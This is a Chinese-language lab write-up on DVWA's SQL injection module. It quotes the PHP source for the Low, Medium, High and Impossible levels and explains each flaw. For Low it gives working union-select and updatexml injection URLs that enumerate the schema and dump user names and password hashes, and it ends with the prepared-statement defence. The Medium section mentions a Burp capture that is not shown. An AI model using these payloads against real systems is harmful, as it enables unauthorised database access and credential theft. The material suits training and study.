DVWA--SQL Injection(SQL注入-非盲注)(全难度)

DVWA–SQL Injection(SQL 注入)非盲注

原理参考：网络安全笔记-99-渗透-SQL注入

逻辑

输入id查询用户名。

难度分级

Low

单引号闭合，且有报错提示。

核心代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

分析

没有过滤id参数直接带入数据库查询。

利用

联合查询

• 查询列数：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=1’ order by 2–+&Submit=Submit#
• 数据显示位置：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=-1’union select 1,2 --+&Submit=Submit#

• 查询数据库

• 查询表：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’) --+&Submit=Submit#

• 查询字段：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=-1’union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’) --+&Submit=Submit#

• 查询数据：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=-1’union select 1,(select group_concat(concat_ws(0x7e,user,password)) from users) --+&Submit=Submit#

报错查询

利用：http://192.168.17.141/DVWA/vulnerabilities/sqli/?id=1’union select updatexml(1,concat(0x7e, (select database() )),2) --+&Submit=Submit#

Medium

核心代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

分析

mysqli_real_escape_string()函数转义在 SQL 语句中使用的字符串中的特殊字符，会被进行转义的字符包括： NUL （ASCII 0），\n，\r，\，’，" 和 Control-Z

没有进行过滤，数字型直接带入数据库查询

利用

Medium难度的请求不在url里面，那么可能为post请求。通过bp抓包如下：

High

核心代码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

分析

用$_SESSION[ ‘id’ ] 替换了GET与POST 传入的ID。与Low级别相比，只多了一个limit 1.限制只能查询一条数据。单引号字符型注入。

利用

利用方式与Low相似。

Impossible

核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

分析

首先该级别采用了Token机制，加强了安全性。然后会首先判断ID是否为数字，然后使用预编译语句与PDO技术，有效防范了Sql注入。